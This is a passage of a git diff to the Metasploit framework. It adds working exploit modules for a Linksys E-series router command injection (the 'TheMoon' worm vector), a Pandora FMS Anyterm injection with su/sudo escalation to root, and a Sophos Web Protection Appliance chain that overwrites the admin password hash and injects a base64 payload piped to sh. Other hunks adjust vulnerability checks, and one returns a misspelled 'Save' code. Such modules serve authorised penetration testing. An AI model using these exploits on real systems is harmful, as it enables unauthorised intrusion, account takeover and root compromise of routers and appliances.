+        Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
+        injection. This vulnerability was used from the so-called "TheMoon" worm. There
+        are many Linksys systems that are potentially vulnerable, including E4200, E3200, E3000,
+        E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This module was tested
+        successfully against an E1500 v1.0.5.
+      },
+      'Author'      =>
+        [
+          'Johannes Ullrich', #worm discovery
+          'Rew', # original exploit
+          'infodox', # another exploit
+          'Michael Messner <devnull@s3cur1ty.de>', # Metasploit module
+          'juan vazquez' # minor help with msf module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'EDB', '31683' ],
+          [ 'BID', '65585' ],
+          [ 'OSVDB', '103321' ],
+          [ 'URL', 'http://packetstormsecurity.com/files/125253/linksyseseries-exec.txt' ],
+          [ 'URL', 'http://packetstormsecurity.com/files/125252/Linksys-Worm-Remote-Root.html' ],
+          [ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ],
+          [ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ]
+        ],
+      'DisclosureDate' => 'Feb 13 2014',
+      'Privileged'     => true,
+      'Platform'       => %w{ linux unix },
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'Targets'        =>
+        [
+          [ 'Linux mipsel Payload',
+            {
+            'Arch' => ARCH_MIPSLE,
+            'Platform' => 'linux'
+            }
+          ],
+          [ 'Linux mipsbe Payload',
+            {
+            'Arch' => ARCH_MIPSBE,
+            'Platform' => 'linux'
+            }
+          ],
+        ],
+      'DefaultTarget'  => 0
+      ))
+  end
+
+
+  def execute_command(cmd, opts)
+    begin
+      res = send_request_cgi({
+        'uri'    => '/tmUnblock.cgi',
+        'method' => 'POST',
+        'encode_params' => true,
+        'vars_post' => {
+          "submit_button" => "",
+          "change_action" => "",
+          "action" => "",
+          "commit" => "0",
+          "ttcp_num" => "2",
+          "ttcp_size" => "2",
+          "ttcp_ip" => "-h `#{cmd}`",
+          "StartEPI" => "1"
+        }
+      }, 2)
+      return res
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+    end
+  end
+
+  def check
+    begin
+      res = send_request_cgi({
+        'uri'     => '/tmUnblock.cgi',
+        'method'  => 'GET'
+      })
+
+      if res && [200, 301, 302].include?(res.code)
+        return Exploit::CheckCode::Detected
+      end
+    rescue ::Rex::ConnectionError
+      return Exploit::CheckCode::Unknown
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    print_status("#{peer} - Trying to access the vulnerable URL...")
+
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
+    end
+
+    print_status("#{peer} - Exploiting...")
+    execute_cmdstager
+  end
+
+end
diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb
index 7940a3ddce..26d1c3c07b 100644
--- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb
+++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb
@@ -57,11 +57,12 @@ class Metasploit3 < Msf::Exploit::Remote
         'uri' => '/HNAP1/'
       })
     rescue ::Rex::ConnectionError
-      return Exploit::CheckCode::Safe
+      vprint_error("A connection error has occured")
+      return Exploit::CheckCode::Unknown
     end
 
     if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb
index 3ea050d12a..03d03adf5f 100644
--- a/modules/exploits/linux/http/mutiny_frontend_upload.rb
+++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb
@@ -61,9 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
     post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"")
     post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"")
 
-    # Work around an incompatible MIME implementation
     data = post_data.to_s
-    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
     res = send_request_cgi(
     {
@@ -128,12 +126,17 @@ class Metasploit3 < Msf::Exploit::Remote
       'uri' => normalize_uri(target_uri.path, "interface",  "/"),
     })
 
-    if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
+    if res.nil?
+      vprint_error("Connection timed out")
+      return Exploit::CheckCode::Unknown
+    end
+
+    if res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
       version = $1
     end
 
     if version and version >= "5" and version <= "5.0-1.07"
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb
index 0b2d857f61..8ca4131d31 100644
--- a/modules/exploits/linux/http/nginx_chunked_size.rb
+++ b/modules/exploits/linux/http/nginx_chunked_size.rb
@@ -88,10 +88,11 @@ class Metasploit4 < Msf::Exploit::Remote
       end
 
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
     end
 
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
   end
 
   #
diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb
index 6b811fb3bd..b1542c492e 100644
--- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb
+++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb
@@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     # retrieve software version from login page
-    print_status("#{peer} - Sending check")
+    vprint_status("#{peer} - Sending check")
     begin
       res = send_request_cgi({
         'uri' => '/'
@@ -83,10 +83,10 @@ class Metasploit3 < Msf::Exploit::Remote
       end
 
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
     end
-    return Exploit::CheckCode::Unknown
-
+    return Exploit::CheckCode::Safe
   end
 
   def on_new_session(client)
diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb
new file mode 100644
index 0000000000..7a5a8cc6b6
--- /dev/null
+++ b/modules/exploits/linux/http/pandora_fms_exec.rb
@@ -0,0 +1,113 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Pandora FMS Remote Code Execution",
+      'Description'    => %q{
+        This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
+        It will leverage an unauthenticated command injection in the Anyterm service on
+        port 8023/TCP. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
+        the user "artica" is not assigned a password by default, which makes it possible to su
+        to this user from the "pandora" user. The "artica" user has access to sudo without a
+        password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
+        and lower force a password for the "artica" user during installation.
+      },
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
+        ],
+      'References'      =>
+        [
+        ],
+      'Payload'        =>
+        {
+          'BadChars' => "",
+          'Compat'      =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' => 'generic perl python',
+            }
+        },
+      'Platform'        => ['unix'],
+      'Arch'            => ARCH_CMD,
+      'Targets'         =>
+        [
+          ['Pandora 5.0RC1', {}]
+        ],
+      'Privileged'      => true,
+      'DisclosureDate'  => "Jan 29 2014",
+      'DefaultTarget'   => 0))
+
+    register_options(
+      [
+       Opt::RPORT(8023),
+       OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
+      ], self.class)
+  end
+
+  def on_new_session(client)
+    print_status("#{peer} - Trying to escalate privileges to root")
+    [
+      # ignore SIGHUP so the server doesn't kill our root shell
+      "trap '' HUP",
+      # Spawn a pty for su/sudo
+      "python -c 'import pty;pty.spawn(\"/bin/sh\")'",
+      # Su to the passwordless "artica" account
+      "su - artica",
+      # The "artica" use has sudo rights without the need for a
+      # password, thus gain root priveleges
+      "sudo -s",
+    ].each do |command|
+      vprint_status(command)
+      client.shell_write(command + "\n")
+    end
+
+    super
+  end
+
+  def check
+    # Check version
+    print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway")
+
+    res = send_request_cgi({
+     'method' => 'GET',
+     'uri'    => normalize_uri(target_uri.path, "anyterm.html")
+    })
+
+    if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway")
+      print_good("#{peer} - Pandora FMS Remote Gateway Detected!")
+      return Exploit::CheckCode::Detected
+    end
+
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    print_status("#{peer} - Sending payload")
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'    => normalize_uri(target_uri.path, "/anyterm-module"),
+      'vars_post'   => {
+        'a'     => "open",
+        'p' => "`#{payload.encoded}`"
+      }
+    })
+
+    if !res || res.code != 200
+      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
+    end
+  end
+
+end
diff --git a/modules/exploits/linux/http/peercast_url.rb b/modules/exploits/linux/http/peercast_url.rb
index 1a96dbe10c..a0abcb4e25 100644
--- a/modules/exploits/linux/http/peercast_url.rb
+++ b/modules/exploits/linux/http/peercast_url.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
+      'Name'           => 'PeerCast URL Handling Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in PeerCast <= v0.1216.
         The vulnerability is caused due to a boundary error within the
diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb
index 4d13b0dcbd..f76a7463ba 100644
--- a/modules/exploits/linux/http/pineapp_livelog_exec.rb
+++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb
@@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
         'nsserver' => Rex::Text.encode_base64("127.0.0.1")
       }
     })
-    if res and res.code == 200 and res.body =~ /NS Query result for 127.0.0.1/
+    if res and res.code == 200 and res.body =~ /NS Query result for 127\.0\.0\.1/
       return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb
index 5266a5669e..693c4f991f 100644
--- a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb
+++ b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb
@@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Safe
     end
 
-    return Exploit::CheckCode::Vulnerable
+    return Exploit::CheckCode::Appears
   end
 
   def target_smt_x9_214
diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb
new file mode 100644
index 0000000000..ffc6163100
--- /dev/null
+++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb
@@ -0,0 +1,200 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution',
+      'Description'    => %q{
+        This module takes advantage of two vulnerabilities in order to gain remote code execution as root
+        as an otherwise non-privileged authorized user. By taking advantage of a mass assignment
+        vulnerability that allows an unprivileged authenticated user to change the admininistrator's
+        password hash, the module updates the password to login as the admin to reach the second vulnerability.
+        No server-side sanitization is done on values passed when configuring a static network interface.
+        This allows an administrator user to run arbitrary commands in the context of the web application,
+        which is root when configuring the network interface. This module will inadvertently delete
+        any other users that may have been present as a side effect of changing the admin's password.
+      },
+      'Author'         =>
+        [
+          'Brandon Perry <bperry.volatile@gmail.com>' # discovery and Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-069/']
+        ],
+      'Platform'       => ['unix'],
+      'Arch'           => ARCH_CMD,
+      'Privileged'     => true,
+      'Payload'        =>
+        {
+          'Space'       => 500,
+          'DisableNops' => true,
+          'BadChars'    => "", #base64 encryption ftw!
+          'Compat'      =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' =>  'generic telnet'
+            }
+        },
+      'Targets'        =>
+        [
+          [ 'Sophos Web Protection Appliance 3.8.1.1', { }]
+        ],
+      'DefaultOptions' =>
+        {
+          'SSL' => true
+        },
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Apr 8 2014'
+      ))
+
+    register_options(
+      [
+        OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
+        OptString.new('PASSWORD', [true, 'The password to authenticate with', nil]),
+        OptString.new('TARGETURI', [true, 'The target URI', '/']),
+        Opt::RPORT(443)
+      ],
+      self.class
+    )
+  end
+
+  def exploit
+      init = send_request_cgi({
+        'uri' => normalize_uri(target_uri.path, 'index.php')
+      })
+
+      if !init or !init.body
+        fail_with("Could not connect to host")
+      end
+
+      print_status("Getting STYLE key...")
+
+      style = ''
+      init.body.each_line do |line|
+        next if line !~ /name="STYLE" value="(.*)"/
+        style = $1
+      end
+
+      if style == ''
+        fail_with("Could not find style key.")
+      end
+
+      post = {
+       'STYLE' => style,
+       'destination' => '',
+       'section' => '',
+       'username' => datastore['USERNAME'],
+       'password' => datastore['PASSWORD']
+      }
+
+      print_status("Authenticating as " + datastore['USERNAME'])
+      login = send_request_cgi({
+        'uri' => normalize_uri(target_uri.path, '/index.php?c=login'),
+        'method' => 'POST',
+        'vars_post' => post
+      })
+
+      if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/
+        fail_with("Authentication failed")
+      end
+
+      #I don't know what salt is being used to hash these
+      #passwords (probably in js somewhere), so I have
+      #to use a static one that I saw being POSTed while
+      #exploring, it is 'notpassword'.
+      #
+      #This will actually delete every other user that exists
+      #except for admin, whose password will be changed
+      #
+      #whoops
+      admin_hash = '[{"id": "default_admin", "username": "admin", "name": "Default Administrator"'
+      admin_hash << ', "password": "70ec23d3e019a307081732c0162b2733", "description": "Default '
+      admin_hash << 'Administrator Account", "admin": true, "roles": ["admin"], "reporting_groups"'
+      admin_hash << ': [], "user_id": 0}]'
+
+      post = {
+        'action' => 'save',
+        'STYLE' => style,
+        'username' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['USERNAME'])),
+        'current' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),
+        'new' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),
+        'admins' => admin_hash
+      }
+
+      print_status("Changing old password hash to notpassword")
+      passchange = send_request_cgi({
+        'uri' => normalize_uri(target_uri.path, '/index.php?c=change_password'),
+        'method' => 'POST',
+        'vars_post' => post
+      })
+
+      if !passchange or passchange.code != 200
+        fail_with("Couldn't update admin's password")
+      end
+
+      print_status("Logging in as the admin now")
+      init = send_request_cgi({
+        'uri' => normalize_uri(target_uri.path, 'index.php')
+      })
+
+      if !init or init.code != 200
+        fail_with("Couldn't reget index page for admin auth")
+      end
+
+      init.body.each_line do |line|
+        next if line !~ /name="STYLE" value="(.*)"/
+        style = $1
+      end
+
+      post = {
+        'STYLE' => style,
+        'destination' => '',
+        'section' => '',
+        'username' => 'admin',
+        'password' => 'notpassword'
+      }
+
+      login = send_request_cgi({
+        'uri' => normalize_uri(target_uri.path, 'index.php?c=login'),
+        'method' =>  'POST',
+        'vars_post' => post
+      })
+
+      if !login or login.code != 200 or login.body !~ /admin<\/a>/
+        fail_with("Couldn't login as admin")
+      end
+
+      pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded))
+      post = {
+        'STYLE' => style,
+        'dhcp' => 'no',
+        'address' => "192.16`echo #{pay}|base64 --decode|sh`8.1.16",
+        'gateway' => '192.168.1.254',
+        'sb_bridge' => 'explicit',
+        'netmask' => '255.255.255.0',
+        'sb_linktype' => 'auto',
+        'dns' => 'yes',
+        'dns1' => '192.168.1.254',
+        'dns2' => '',
+        'dns3' => ''
+      }
+
+      print_status("Sending payload")
+      send_request_cgi({
+        'uri' => normalize_uri(target_uri.path, 'index.php?c=netinterface'),
+        'method' => 'POST',
+        'vars_post' => post,
+      })
+  end
+end
diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb
index 5ed6644527..2e8d2c1359 100644
--- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb
+++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb
@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def check
-    print_status("#{peer} - Trying to detect installed version")
+    vprint_status("#{peer} - Trying to detect installed version")
 
     res = send_request_cgi({
       'method'   => 'GET',
@@ -80,21 +80,21 @@ class Metasploit3 < Msf::Exploit::Remote
       model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
       model = "DS#{model}" unless model =~ /^[A-Z]/
     else
-      print_status("#{peer} - Detection failed")
+      vprint_status("#{peer} - Detection failed")
       return Exploit::CheckCode::Unknown
     end
 
-    print_status("#{peer} - Model #{model} with version #{version}-#{build} detected")
+    vprint_status("#{peer} - Model #{model} with version #{version}-#{build} detected")
 
     case version
     when '4.0'
-      return Exploit::CheckCode::Vulnerable if build < '2259'
+      return Exploit::CheckCode::Appears if build < '2259'
     when '4.1'
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     when '4.2'
-      return Exploit::CheckCode::Vulnerable if build < '3243'
+      return Exploit::CheckCode::Appears if build < '3243'
     when '4.3'
-      return Exploit::CheckCode::Vulnerable if build < '3810'
+      return Exploit::CheckCode::Appears if build < '3810'
       return Exploit::CheckCode::Detected if build == '3810'
     end
 
diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb
index 1a64359162..e50c966fed 100644
--- a/modules/exploits/linux/http/wanem_exec.rb
+++ b/modules/exploits/linux/http/wanem_exec.rb
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
     data  = "pc=127.0.0.1; "
     data << Rex::Text.uri_encode("echo #{fingerprint}")
     data << "%26"
-    print_status("#{peer} - Sending check")
+    vprint_status("#{peer} - Sending check")
 
     begin
       res = send_request_cgi({
@@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
         'data'   => data
       }, 25)
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
       return Exploit::CheckCode::Unknown
     end
 
diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb
index c0665dd1a1..2fe8f0116e 100644
--- a/modules/exploits/linux/http/webcalendar_settings_exec.rb
+++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb
@@ -60,8 +60,8 @@ class Metasploit3 < Msf::Exploit::Remote
       'uri'    => "#{uri}/login.php"
     })
 
-    if res and res.body =~ /WebCalendar v1.2.\d/
-      return Exploit::CheckCode::Vulnerable
+    if res and res.body =~ /WebCalendar v1\.2\.\d/
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb
index 2d7a564c1d..ca19fb5a97 100644
--- a/modules/exploits/linux/http/zabbix_sqli.rb
+++ b/modules/exploits/linux/http/zabbix_sqli.rb
@@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     # Check version
-    print_status("#{peer} - Trying to detect installed version")
+    vprint_status("#{peer} - Trying to detect installed version")
 
     res = send_request_cgi({
       'method' => 'GET',
@@ -72,10 +72,10 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/
       version = $1
-      print_status("#{peer} - Zabbix version #{version} detected")
+      vprint_status("#{peer} - Zabbix version #{version} detected")
     else
       # If this fails, guest access may not be enabled
-      print_status("#{peer} - Unable to access httpmon.php")
+      vprint_status("#{peer} - Unable to access httpmon.php")
       return Exploit::CheckCode::Unknown
     end
 
diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb
index fe82b999be..96e02f8cbf 100644
--- a/modules/exploits/linux/http/zen_load_balancer_exec.rb
+++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb
@@ -66,23 +66,23 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     # retrieve software version from config file
-    print_status("#{peer} - Sending check")
+    vprint_status("#{peer} - Sending check")
     begin
       res = send_request_cgi({
         'uri' => '/config/global.conf'
       })
 
-      if    res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
+      if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
         return Exploit::CheckCode::Appears
       elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
         return Exploit::CheckCode::Detected
       end
 
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
     end
-    return Exploit::CheckCode::Unknown
-
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb
index 361d8d9ec4..a0103295ed 100644
--- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb
+++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb
@@ -69,14 +69,14 @@ class Metasploit3 < Msf::Exploit::Remote
         'method' => "GET",
         'uri'    => "/zport/acl_users/cookieAuthHelper/login_form"
       })
-      return Exploit::CheckCode::Vulnerable if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
+      return Exploit::CheckCode::Appears if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
       return Exploit::CheckCode::Detected   if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
       return Exploit::CheckCode::Safe
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
     end
-    return Exploit::CheckCode::Unknown
-
+    return Exploit::CheckCode::Save
   end
 
   def exploit
diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb
index 58b8b6bda2..54902a92d6 100644
--- a/modules/exploits/linux/imap/imap_uw_lsub.rb
+++ b/modules/exploits/linux/imap/imap_uw_lsub.rb
@@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
 
-    if (banner =~ /IMAP4rev1 v12.264/)
-      return Exploit::CheckCode::Vulnerable
+    if (banner =~ /IMAP4rev1 v12\.264/)
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
 
diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb
index c73a8a4f4d..8c55d1c094 100644
--- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb
+++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb
@@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local
       return CheckCode::Detected
     end
 
-    return CheckCode::Unknown
+    return CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb
index 9b8aa1f9f4..2da364dce3 100644
--- a/modules/exploits/linux/local/vmware_mount.rb
+++ b/modules/exploits/linux/local/vmware_mount.rb
@@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local
 
   def check
     if setuid?("/usr/bin/vmware-mount")
-      CheckCode::Vulnerable
+      CheckCode::Appears
     else
       CheckCode::Safe
     end
@@ -78,7 +78,7 @@ class Metasploit4 < Msf::Exploit::Local
   end
 
   def setuid?(remote_file)
-    !!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true")
+    !!(cmd_exec("test -u #{remote_file.strip} && echo true").index "true")
   end
 
 end
diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb
index 36032a4178..f5e2792116 100644
--- a/modules/exploits/linux/local/zpanel_zsudo.rb
+++ b/modules/exploits/linux/local/zpanel_zsudo.rb
@@ -51,7 +51,7 @@ class Metasploit4 < Msf::Exploit::Local
       return CheckCode::Detected
     end
 
-    return CheckCode::Unknown
+    return CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb
index adbecb1bbd..64ac53e265 100644
--- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb
+++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb
@@ -70,13 +70,13 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     connect
     packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"")
-    print_status("#{rhost}:#{rport} Sending login packet to check...")
+    vprint_status("#{rhost}:#{rport} Sending login packet to check...")
     sock.put(packet)
     res = sock.get_once
     disconnect
 
     if res and res=~ /OK/ and res =~ /Login/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     elsif res and res =~ /FAILED/ and res =~ /version/
       return Exploit::CheckCode::Detected
     end
diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
index f96767e3bd..814fded403 100644
--- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
+++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
@@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def check
-    print_status("Checking if remote NRPE supports command line arguments")
+    vprint_status("Checking if remote NRPE supports command line arguments")
 
     begin
       # send query asking to run "fake_check" command with command substitution in arguments
@@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Safe
     rescue Errno::ECONNRESET => reset
       unless datastore['NRPESSL'] or @force_ssl
-        print_status("Retrying with ADH SSL")
+        vprint_status("Retrying with ADH SSL")
         @force_ssl = true
         retry
       end
diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb
index ff6fd2c634..8625e5baff 100644
--- a/modules/exploits/linux/misc/sercomm_exec.rb
+++ b/modules/exploits/linux/misc/sercomm_exec.rb
@@ -17,7 +17,8 @@ class Metasploit3 < Msf::Exploit::Remote
       'Description'    => %q{
         This module will cause remote code execution on several SerComm devices.
         These devices typically include routers from NetGear and Linksys.
-        Tested against NetGear DG834.
+        This module was tested successfully against several NetGear, Honeywell
+        and Cisco devices.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -34,16 +35,83 @@ class Metasploit3 < Msf::Exploit::Remote
       'Privileged'     => false,
       'Targets'        =>
         [
-          ['Linux MIPS Big Endian',
+          ['Generic Linux MIPS Big Endian',
+            {
+              'Arch' => ARCH_MIPSBE,
+              'PackFormat' => 'VVV'
+            }
+          ],
+          ['Generic Linux MIPS Little Endian',
+            {
+              'Arch' => ARCH_MIPSLE,
+              'PackFormat' => 'NNN'
+            }
+          ],
+          ['Manual Linux MIPS Big Endian',
             {
               'Arch' => ARCH_MIPSBE
             }
           ],
-          ['Linux MIPS Little Endian',
+          ['Manual Linux MIPS Little Endian',
             {
               'Arch' => ARCH_MIPSLE
             }
           ],
+          ['Cisco WAP4410N',
+            {
+              'Arch' => ARCH_MIPSBE,
+              'PackFormat' => 'NNN',
+            }
+          ],
+          ['Honeywell WAP-PL2 IP Camera',
+            {
+              'Arch' => ARCH_MIPSLE,
+              'PackFormat' => 'VVV'
+            }
+          ],
+          ['Netgear DG834',
+            {
+              'Arch' => ARCH_MIPSBE,
+              'PackFormat' => 'VVV',
+              'NoArgs' => true
+            }
